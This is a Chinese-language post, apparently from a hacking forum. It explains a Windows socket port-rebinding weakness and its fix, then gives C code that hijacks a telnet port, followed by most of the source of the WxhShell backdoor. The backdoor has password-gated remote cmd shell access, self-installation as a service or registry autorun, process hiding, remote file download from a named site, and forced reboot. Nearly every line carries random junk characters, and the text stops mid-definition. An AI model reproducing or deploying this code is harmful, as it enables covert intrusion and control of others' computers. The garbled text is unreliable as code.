在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
#c/v2 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
'*-X3p b;!ilBc saddr.sin_family = AF_INET;
S$muV9z2= mpr["C"l saddr.sin_addr.s_addr = htonl(INADDR_ANY);
:*c@6;2@ \O7,CxD2 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
2(`2 f -@^SiI:C 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
R+!2 j #Kn7
xn[ 这意味着什么?意味着可以进行如下的攻击:
bmT J )#*c|. 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
H~Q UN IFpmf0;^ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
:VLuI rD$7; 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
^D vaT9s E8NIH!dI 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
^T^U:Zdq {p6",d."N& 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
|S>nfL{TQe 3t%uUkXl 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
S@_@hFV jd #+ n
& 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
8
LaZ5 .iew5.eB+ #include
zq1&MXR)l #include
;'J L$= #include
/=7 |FtB` #include
"#e2"=3* DWORD WINAPI ClientThread(LPVOID lpParam);
XTZWbhNF int main()
*j<;;z- {
Pfd FB WORD wVersionRequested;
{MYlW0)~ DWORD ret;
4eIu@
";! WSADATA wsaData;
/I6?t=?< BOOL val;
hk,Q=}; SOCKADDR_IN saddr;
#NL1N_B SOCKADDR_IN scaddr;
zROyG int err;
D-,sF8{ i SOCKET s;
Pu
axS SOCKET sc;
T<! `~#kM int caddsize;
Y`(I};MO HANDLE mt;
dHOz;4_ DWORD tid;
bXC
0f:L wVersionRequested = MAKEWORD( 2, 2 );
e,1Jxz4QH err = WSAStartup( wVersionRequested, &wsaData );
GSpS8wWD } if ( err != 0 ) {
Kh% x printf("error!WSAStartup failed!\n");
bk^ :6>{K return -1;
aty
K^*aX }
D 3Int0n saddr.sin_family = AF_INET;
1/1P;8F@G aG=Y 6j
G //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
VQo7se1P V?Nl% M[b saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
@d4zSG/s5w saddr.sin_port = htons(23);
a o7|8[ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
oM MU5sm {
m41n5T` printf("error!socket failed!\n");
[N7[%iQ% return -1;
AvV.faa }
1bj75/i<6 val = TRUE;
1U"Y'y2 //SO_REUSEADDR选项就是可以实现端口重绑定的
!' sDqBZ&7 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
" _q5\]z\O {
*O 0* printf("error!setsockopt failed!\n");
9`09.`U9[ return -1;
&6}vvgz }
3:=XU9p)x //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
?58pkg J //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
CQtd%'rt6 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
4Nq n47|>e y8<,> if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
Wm3H6o* {
{z.}u5N ret=GetLastError();
46e;UUf!d printf("error!bind failed!\n");
q2/Vt0aYx return -1;
SULWPH5Pr }
]pB~&0jg listen(s,2);
C($`'~b while(1)
wbr"z7} {
E+ 7S:B caddsize = sizeof(scaddr);
/H3,v8J@ //接受连接请求
9qqEr~ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
h+* if(sc!=INVALID_SOCKET)
Q&F@[k {
$6'xRUx X mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
VUNQ@{ST|1 if(mt==NULL)
'0o`<xW {
S2<(n," printf("Thread Creat Failed!\n");
^kXDEKm break;
y*7ht{B }
:fj}J)9'xW }
LI
nN-b# CloseHandle(mt);
vys*=48g }
<!w-op2@ir closesocket(s);
JL(*peeu3 WSACleanup();
{1SxM / return 0;
X=.+XP] }
n*O/X DWORD WINAPI ClientThread(LPVOID lpParam)
7q67_u?@ {
t*D[Q$v SOCKET ss = (SOCKET)lpParam;
&.4lhfI+(Q SOCKET sc;
(bT\HW%m unsigned char buf[4096];
>ueJ+sgH SOCKADDR_IN saddr;
*#2`b%qh\M long num;
q_ 5xsTlTR DWORD val;
IGB>8$7 DWORD ret;
x b _C1n //如果是隐藏端口应用的话,可以在此处加一些判断
4&$G;?#W2 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
b1 KiO2
E saddr.sin_family = AF_INET;
}wv$ #H[ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
#lB[]2]N saddr.sin_port = htons(23);
@u$oqjK if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
<B`=oO%o {
PGw"\-F printf("error!socket failed!\n");
}%jb/@~ return -1;
*2>%>qu }
s]2k@3|e val = 100;
uvmNQg
if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
iT|+<h {
-)$)<k ret = GetLastError();
4ErDGYg} return -1;
}e@j(*8 }
M(2[X/t if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
{+r?g J {
\|T0@V ret = GetLastError();
-l,ib=ne return -1;
,-{j. }
u_Q3v9 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
lI5{]?' {
#2WBYScW0 printf("error!socket connect failed!\n");
3~ZtAgih% closesocket(sc);
:X$&gsT/, closesocket(ss);
4XKg3l1 return -1;
;N/c 5+ }
wvc?2~` while(1)
-m+2l`DLy {
^#Wf //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
rg P$\xn- //如果是嗅探内容的话,可以再此处进行内容分析和记录
h]zx7zt-
//如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
?]7ITF num = recv(ss,buf,4096,0);
6f{ c if(num>0)
l"cO@.T3 send(sc,buf,num,0);
\dfq&oyU\ else if(num==0)
VK NCK break;
U2bb|6j num = recv(sc,buf,4096,0);
,3Wa~\/Q if(num>0)
]&9f:5', send(ss,buf,num,0);
Z
v~
A9bB else if(num==0)
q,*IR*B:a break;
O=-|b kO }
Mv9s closesocket(ss);
&O%Kj8)
closesocket(sc);
;bA9(:? return 0 ;
I{RktO;1 }
WUHx0I Dv hK0L*Qr kQH!`-n:T ==========================================================
.<j8>1 3s|tS2^4 下边附上一个代码,,WXhSHELL
-({\eL$n 95H`-A ==========================================================
gZPJZN/cpz f?{Y<M~] #include "stdafx.h"
", |wG7N
K "@f`O #include <stdio.h>
DL~LSh #include <string.h>
*wSl~J|ZM% #include <windows.h>
#Y{"`5> #include <winsock2.h>
&FK=w]P #include <winsvc.h>
k5ZwGJ#r #include <urlmon.h>
=W4cWG?+ d[S!e`,iD #pragma comment (lib, "Ws2_32.lib")
^X_%e | #pragma comment (lib, "urlmon.lib")
W&*{j;e9%I t4JGd)r #define MAX_USER 100 // 最大客户端连接数
pa\]@;P1 #define BUF_SOCK 200 // sock buffer
prm #define KEY_BUFF 255 // 输入 buffer
^L'K?o
<<A@69"4n #define REBOOT 0 // 重启
JN8k x;@ #define SHUTDOWN 1 // 关机
s0`uSQ2X @lJGdp #define DEF_PORT 5000 // 监听端口
oZ8SEC"] =9)ypI-2 #define REG_LEN 16 // 注册表键长度
=*(d+[_ #define SVC_LEN 80 // NT服务名长度
xQD#;
7 "Srp/g]a // 从dll定义API
N7M^ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
s/T5aJR typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
Dnp^yqz* typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
huQ1A0(no typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
R4v=i)A~Z C2b.([HE // wxhshell配置信息
fe Q%L struct WSCFG {
cKxJeM07 int ws_port; // 监听端口
-,i1T(p1 char ws_passstr[REG_LEN]; // 口令
" 7aFVf int ws_autoins; // 安装标记, 1=yes 0=no
9u)h$VC char ws_regname[REG_LEN]; // 注册表键名
Og&2,`Jb char ws_svcname[REG_LEN]; // 服务名
nnE@1X3 char ws_svcdisp[SVC_LEN]; // 服务显示名
W!Xgse3 char ws_svcdesc[SVC_LEN]; // 服务描述信息
|4'E&(BU- char ws_passmsg[SVC_LEN]; // 密码输入提示信息
@
J"1!` int ws_downexe; // 下载执行标记, 1=yes 0=no
.:;i* char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
kt S0 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
\(z)]D O-G@To3\ };
Fj5^_2MU: 97BL%_^k // default Wxhshell configuration
SEuj=Vie# struct WSCFG wscfg={DEF_PORT,
Ft|a/e "xuhuanlingzhe",
eIEcj<f 1,
Qv?jo(] "Wxhshell",
=uvv|@Z "Wxhshell",
pG4Hy$e "WxhShell Service",
! [: K/ "Wrsky Windows CmdShell Service",
/!9949XV "Please Input Your Password: ",
HKh)T$IZM 1,
pkT
a^I "
http://www.wrsky.com/wxhshell.exe",
i@p?.%K{ "Wxhshell.exe"
d5i/: };
i'57| ;? U "}Kth // 消息定义模块
Z2`e*c-[E char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
MJD4#G char *msg_ws_prompt="\n\r? for help\n\r#>";
JRNyvG>j char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
0\mM^+fO char *msg_ws_ext="\n\rExit.";
<iMkHch char *msg_ws_end="\n\rQuit.";
{<_}[} XY char *msg_ws_boot="\n\rReboot...";
F>}).qx char *msg_ws_poff="\n\rShutdown...";
tz)L`g/J~ char *msg_ws_down="\n\rSave to ";
"2;UXX-H `\qU.m0(j char *msg_ws_err="\n\rErr!";
ypsCyDQK` char *msg_ws_ok="\n\rOK!";
MKH7d/x Fdzd!r1 v char ExeFile[MAX_PATH];
bVVa5? HP int nUser = 0;
Z>{8FzP.F HANDLE handles[MAX_USER];
JLeV@NO int OsIsNt;
G%6wk=IH
+FJ
o!~1 SERVICE_STATUS serviceStatus;
a;lCr|* SERVICE_STATUS_HANDLE hServiceStatusHandle;
> W0hrt?b ;j(xrPNb // 函数声明
f{+8]VA int Install(void);
$Qm;F%
> int Uninstall(void);
10DS int DownloadFile(char *sURL, SOCKET wsh);
t,H,*2 int Boot(int flag);
)8vcg{b{d void HideProc(void);
m\VJ= int GetOsVer(void);
3O] e int Wxhshell(SOCKET wsl);
N-NwGD{ void TalkWithClient(void *cs);
)HU?7n.{ int CmdShell(SOCKET sock);
sX=!o})0 int StartFromService(void);
CtE".UlCA int StartWxhshell(LPSTR lpCmdLine);
zL_X?UmV Vk-_v5 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
rkzhN59; VOID WINAPI NTServiceHandler( DWORD fdwControl );
yRy9*r= In 1.R$O // 数据结构和表定义
--]\z* x SERVICE_TABLE_ENTRY DispatchTable[] =
~#-`Qh {
"zv+|_ZAfd {wscfg.ws_svcname, NTServiceMain},
K@d`jb4T {NULL, NULL}
ElYHA };
Ge
@d" U}
g%`< // 自我安装
(_W[~df4 int Install(void)
q5`Gl {
AUN Tc3 char svExeFile[MAX_PATH];
F:H76O` 8 HKEY key;
p@^2.O+ strcpy(svExeFile,ExeFile);
Y /wvn8~C jRBx7|ON // 如果是win9x系统,修改注册表设为自启动
Mr&]RTEE if(!OsIsNt) {
gNO$WY^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
;Lu}>.t RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
9\"~ G) RegCloseKey(key);
Mc\lzq8\ 1 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
&hF>}O RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
mg3jm RegCloseKey(key);
~ PP GU1 return 0;
E O}(MXS }
^oP]@r"qy }
L,:U _\HQ }
*yJb4uALB else {
G{s ,Y^ $4?%Z>' // 如果是NT以上系统,安装为系统服务
k20H|@g2 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
ht =yzJ9Pr if (schSCManager!=0)
=6 [!'K {
)XNcy" SC_HANDLE schService = CreateService
bM!`C|,[s (
|l~ADEg schSCManager,
Kp99y wscfg.ws_svcname,
9R E;50h wscfg.ws_svcdisp,
"5e]-u' SERVICE_ALL_ACCESS,
&iSQ2a!l8b SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
Mu:H'$"'H SERVICE_AUTO_START,
h&Sl8$jVp SERVICE_ERROR_NORMAL,
>LNl8X:Cz* svExeFile,
FKzqJwT NULL,
T<ua0;7 NULL,
y"]> Rr NULL,
U%#=d@? NULL,
ZuE0'9 NULL
2ru6bIb; );
Ex Qld if (schService!=0)
j9qN!.~mM {
b/G0EcRw+ CloseServiceHandle(schService);
s}A]lY CloseServiceHandle(schSCManager);
,iHt*SZ,* strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
g>Z1ZK0;M strcat(svExeFile,wscfg.ws_svcname);
<6`,)(dj if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
LD5'4,%- RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
<.AIVp RegCloseKey(key);
Zdak))7 return 0;
d#W[<, }
!P;qc }
hVID~L$ CloseServiceHandle(schSCManager);
5-g0 2g }
`ybZE+S. }
&fTCY-W[ <>R7G)w
F return 1;
kxO$Uk&TX }
d*G$qUiX *[jaI-~S // 自我卸载
i0R=P[ int Uninstall(void)
|[V(u {
=];FojC6I HKEY key;
(Hsfrc .!`j3W] if(!OsIsNt) {
,rN7X<s54 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
NfSe(rd RegDeleteValue(key,wscfg.ws_regname);
NT nn!k RegCloseKey(key);
ZqhINM*Rm if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
k82'gJ;MC= RegDeleteValue(key,wscfg.ws_regname);
="4jk=on RegCloseKey(key);
H#ihU3q return 0;
'dg OE }
C/cyqxVl} }
c=K M[s. }
d,>l;l else {
V2bod=&Lc E6US SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
wg[*]_,a if (schSCManager!=0)
dzcPSbbpt {
zL{KK9Or SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
kn<[v;+ if (schService!=0)
~jPe9 {
1k7E[G~G| if(DeleteService(schService)!=0) {
F8k1fmM]Y CloseServiceHandle(schService);
isN"7y|r:X CloseServiceHandle(schSCManager);
8=?I/9Xh return 0;
-8TLnl~[ }
Di L@NU!$q CloseServiceHandle(schService);
Z<wg` }
n
b{8zo CloseServiceHandle(schSCManager);
yf$7<gwX }
#(A>yW702 }
qv<VKJTi6] uo%zfi? return 1;
Sz._XY^ }
-V+fQGZe |_A35"v // 从指定url下载文件
1wq6E int DownloadFile(char *sURL, SOCKET wsh)
9K&b1O@Aj {
yb]a p HRESULT hr;
O[m+5+ char seps[]= "/";
fu|I(^NV char *token;
e]5QqM7 char *file;
e5AiIVlv char myURL[MAX_PATH];
I7}[%(~Sf/ char myFILE[MAX_PATH];
&2g1Oy~ D]0#A|nF strcpy(myURL,sURL);
5-sxTp token=strtok(myURL,seps);
\;sUJr"$ while(token!=NULL)
]__M* {
rzex"}/ly file=token;
?$gEX@5h token=strtok(NULL,seps);
Coyop#q#"{ }
i\3`?d R` N-^x GetCurrentDirectory(MAX_PATH,myFILE);
18`?t_8g strcat(myFILE, "\\");
E0*81PS strcat(myFILE, file);
*AJW8tIP send(wsh,myFILE,strlen(myFILE),0);
Kg%_e9nj# send(wsh,"...",3,0);
<?I~ + hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
1M+mH#? if(hr==S_OK)
^,rbA>/L return 0;
1ptP ey else
7y60-6r return 1;
y)=Xo7j D,R/abYZH }
){,8}(| 0>AA-~=- // 系统电源模块
^
sz4rk int Boot(int flag)
e06r5%|.% {
-Z#A}h HANDLE hToken;
wWH5T}\ TOKEN_PRIVILEGES tkp;
\_+d*hHF~ Bp b_y;E if(OsIsNt) {
sqkPC_;A OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
jfI|( P LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
toP7b tkp.PrivilegeCount = 1;
zIlQqyOQ8 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
0R; ;ou AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
Gz
kf if(flag==REBOOT) {
z,^baU if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
/|>z7#?m^ return 0;
|i|>-|`! }
Bq\%]2;eo{ else {
? 1_*ct=g9 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
khyVuWN
return 0;
y0z}[hZ }
jPFA\$To }
'Yj/M else {
UGAP$_j
]P if(flag==REBOOT) {
d#A.A<p* if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
m. XLpD return 0;
Xp%JPI { }
RCsd else {
j]jwQRe if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
5Zh
/D0!| return 0;
)K%AbKn }
$L3UDX+F }
&OsJnkY<< JH2d+8O:qK return 1;
Of-l<Ks\ }
L-q.Q -[G+*3Y{7 // win9x进程隐藏模块
eM{+R^8 void HideProc(void)
@C?RbTHy
{
?a(ApD\ 9CxU:;3 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
g_-Y-.M if ( hKernel != NULL )
$2\OBc= {
`rQA9;Tn2 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
2jaR_``=: ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
/SjA;c!. FreeLibrary(hKernel);
\]GBd~i< }
j]YS(Y@AY
>+&524xc return;
eAPGy- }
xMU4Av[{ =r#of|`Q // 获取操作系统版本
\y{C>!WX4 int GetOsVer(void)
@/7tN3O {
eR =P OSVERSIONINFO winfo;
LG@5Z- winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
L%Me
wU0TZ GetVersionEx(&winfo);
oS, %L if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
=M>pL+# return 1;
>DPC}@Wl else
{}~7Gi! return 0;
{Q I"WFdGx }
K&\xbT <-FAF:6$@@ // 客户端句柄模块
r. :LZEr int Wxhshell(SOCKET wsl)
`! {
AYfW}V" SOCKET wsh;
7<=xc'*8t struct sockaddr_in client;
Il,2^54q DWORD myID;
h#B%'9r ,A4v|]kq] while(nUser<MAX_USER)
+ C aPF {
3Oy?_a$ int nSize=sizeof(client);
]*D=^kA0[ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
COZ<^*=A#p if(wsh==INVALID_SOCKET) return 1;
;&oS=6$ lEh; MJ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
3* 1cCM42 if(handles[nUser]==0)
j!F5gP-l closesocket(wsh);
[}|x@
v9 else
b:SjJA,HM nUser++;
3)3?/y)_ }
jEo)#j];`< WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
59 R;n.Q M2l0x @| return 0;
iP)`yB5 ` }
il|e5TD^ )w4i0Xw^C: // 关闭 socket
~+
Mp+gE void CloseIt(SOCKET wsh)
-XRn%4EX? {
j
Jt"= closesocket(wsh);
Op0n.\>
nUser--;
p(=}Qqdr8 ExitThread(0);
Cjc>0)f&. }
+`}QIp0 ibAZ=RD // 客户端请求句柄
aA7}> void TalkWithClient(void *cs)
3"FvYv{ {
}>]V_}h P%2aOsD0 SOCKET wsh=(SOCKET)cs;
8iA[w-Pv char pwd[SVC_LEN];
}OL?k/w char cmd[KEY_BUFF];
f#f<Ii char chr[1];
C-u'Me)H int i,j;
{<+B>6^ 0n<>X&X while (nUser < MAX_USER) {
7@oM?r7td >"5f B if(wscfg.ws_passstr) {
W|'7)ph if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
@G,pM: t //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
^hiIMqY_{` //ZeroMemory(pwd,KEY_BUFF);
D~P3~^ i=0;
hg4 d]R, while(i<SVC_LEN) {
tpPP5C{ RUco3fZ // 设置超时
>}?jO B fd_set FdRead;
A{NKHn>%` struct timeval TimeOut;
4&N#d;ErC FD_ZERO(&FdRead);
Pw+PBIGn4 FD_SET(wsh,&FdRead);
/Z^"[Ke TimeOut.tv_sec=8;
[J{\Ke0<e1 TimeOut.tv_usec=0;
Y&wtF8 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
1K{u>T if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
IyK^` y 6Ft?9
B(F: if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
8z1#Q#5 pwd
=chr[0]; WVZ](D8Gc]
if(chr[0]==0xd || chr[0]==0xa) { [`J91=
pwd=0; lDsT?yHS`Z
break; nQ*9E|Vx
} X\4d|VJ?m
i++; ddK\q!0
} iq1HA.X(
.bYZkO:oy
// 如果是非法用户,关闭 socket &X3G;x2;
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 03pD<
} <fSWX>pR
`) y<X#[8
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 00SYNG!
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); R5Pk>-KF
|#(KP
while(1) { A:b(@'h
w :nYsuF
ZeroMemory(cmd,KEY_BUFF); 5}C.^ J`
qTZ\;[CrP"
// 自动支持客户端 telnet标准 amTeTo]Tg
j=0; A4uKE"WE
while(j<KEY_BUFF) { j)nL!":O
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6C'W
cmd[j]=chr[0]; U_Jchi,!
if(chr[0]==0xa || chr[0]==0xd) { Sy@)Q[A
cmd[j]=0; Jn7T5$pJ
break; #B2a?
} TW?_fse*[
j++; )d~{gPr.
} 8NnGN(a*D
,Iv eKk5W
// 下载文件 q]scKWYI
if(strstr(cmd,"http://")) { |E?PQ?P
send(wsh,msg_ws_down,strlen(msg_ws_down),0); r=Tz++!
if(DownloadFile(cmd,wsh)) #Mw 6>5}<
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 22OfbwCb
else 9epMw-)k
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cslZ;
} y#T.w0*
else { r1axC%
tgyW:<iv
switch(cmd[0]) { fZ aTckbE
NiH =T
// 帮助 lfw|Q@
case '?': { 0Ra%>e(I^
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); CM%Rz-c
break; !F:ANoaS
} vX@TZet0
// 安装 /S{U|GBB%r
case 'i': { #My14u
if(Install()) >^6|^rc
send(wsh,msg_ws_err,strlen(msg_ws_err),0); l|81_B C"
else T09 5]*Hm
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^GpLl
break; de/oK c
} DaS~bweMw
// 卸载 f\;w(_
case 'r': { 29AE B
if(Uninstall()) 2$OV`qy@?
send(wsh,msg_ws_err,strlen(msg_ws_err),0); wrQ02?
else 1oc@]0n
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g#k@R'7E
break; \ 5.nr*5
} )n6,uTlOw
// 显示 wxhshell 所在路径 }_Ci3|G>%D
case 'p': { 7qSnP30}
char svExeFile[MAX_PATH]; ;E_Go&Vd
strcpy(svExeFile,"\n\r"); })+iAxR
strcat(svExeFile,ExeFile); }a!ny
send(wsh,svExeFile,strlen(svExeFile),0); .mHVJ5^:4\
break; enx+,[
} tQ*?L
// 重启 (%c&Km7K
case 'b': { Gf
+>AjU'
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4bCA"QM[[
if(Boot(REBOOT)) 4_D
*xW
send(wsh,msg_ws_err,strlen(msg_ws_err),0); )&DsRA7v
else { {,!!jeOO
closesocket(wsh); -{}(U
ExitThread(0); ]=o1to-
} L+mE&
break; 6FYL},.R
} &OlX CxH
// 关机 =xQPg0g
case 'd': { v%r/PHw
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); O>N/6Z
if(Boot(SHUTDOWN)) {)iiu
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3:O|p[2)L
else { k8\KCKql
closesocket(wsh); 3@nIoN'z
ExitThread(0); Q<NQ9lX
} ]4ck)zlv
break; x<`^4|<
} lVuBo&
// 获取shell b<!' WpY-
case 's': { a@Vk(3Rx_
CmdShell(wsh); vz(=3C[
closesocket(wsh); g(auB/0s
ExitThread(0); G1-r$7\
break; 9M^5<8:
} Oq$-*N
// 退出 6.9C4
case 'x': { d~MY
z6"
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |"PS e~ u
CloseIt(wsh); GSs?!BIC
break; V?Q45t Ae
} 4X",:B}
// 离开 ])G|U A.
case 'q': { qzNXz_#+u
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ySI}Nm>&=
closesocket(wsh); A;5_/ 2
WSACleanup(); Hs$HeAp;
exit(1); n*ROlCxV
break; HE{UgU:tY
} E,F^!4 rJ$
} Rp;"]Q&b
} "@5qjLz]
(-Q~@Q1
// 提示信息 '%ByFZzi
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +1I7K|M
} {Mj- $G"
} KwV!smi2
}9^'etD
return; M)ao}m>
} KWeE!f 7G
#eN2{G=4+
// shell模块句柄 e|W;(@$<
int CmdShell(SOCKET sock) skXzck
{ {0lu>?<
STARTUPINFO si; @-L\c>rqT
ZeroMemory(&si,sizeof(si)); FGPqF;
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; p s?su`
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~%lA!tsek
PROCESS_INFORMATION ProcessInfo; m,"-/)
char cmdline[]="cmd"; }D+ b`,
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); -+u}u=z%
return 0; =>lX brJ
} ;
wxmSX9
|'&$VzA
// 自身启动模式 5Ok3y|cEx
int StartFromService(void) x4PzP
{ bI3GI:hp
typedef struct i#^YQCy
{ d2NFdBoI
DWORD ExitStatus; j/Y]3RSMp
DWORD PebBaseAddress; ~ES%=if~Y
DWORD AffinityMask; 3=o4ncg(
DWORD BasePriority; E24SD' |)
ULONG UniqueProcessId; pouXt-%2X
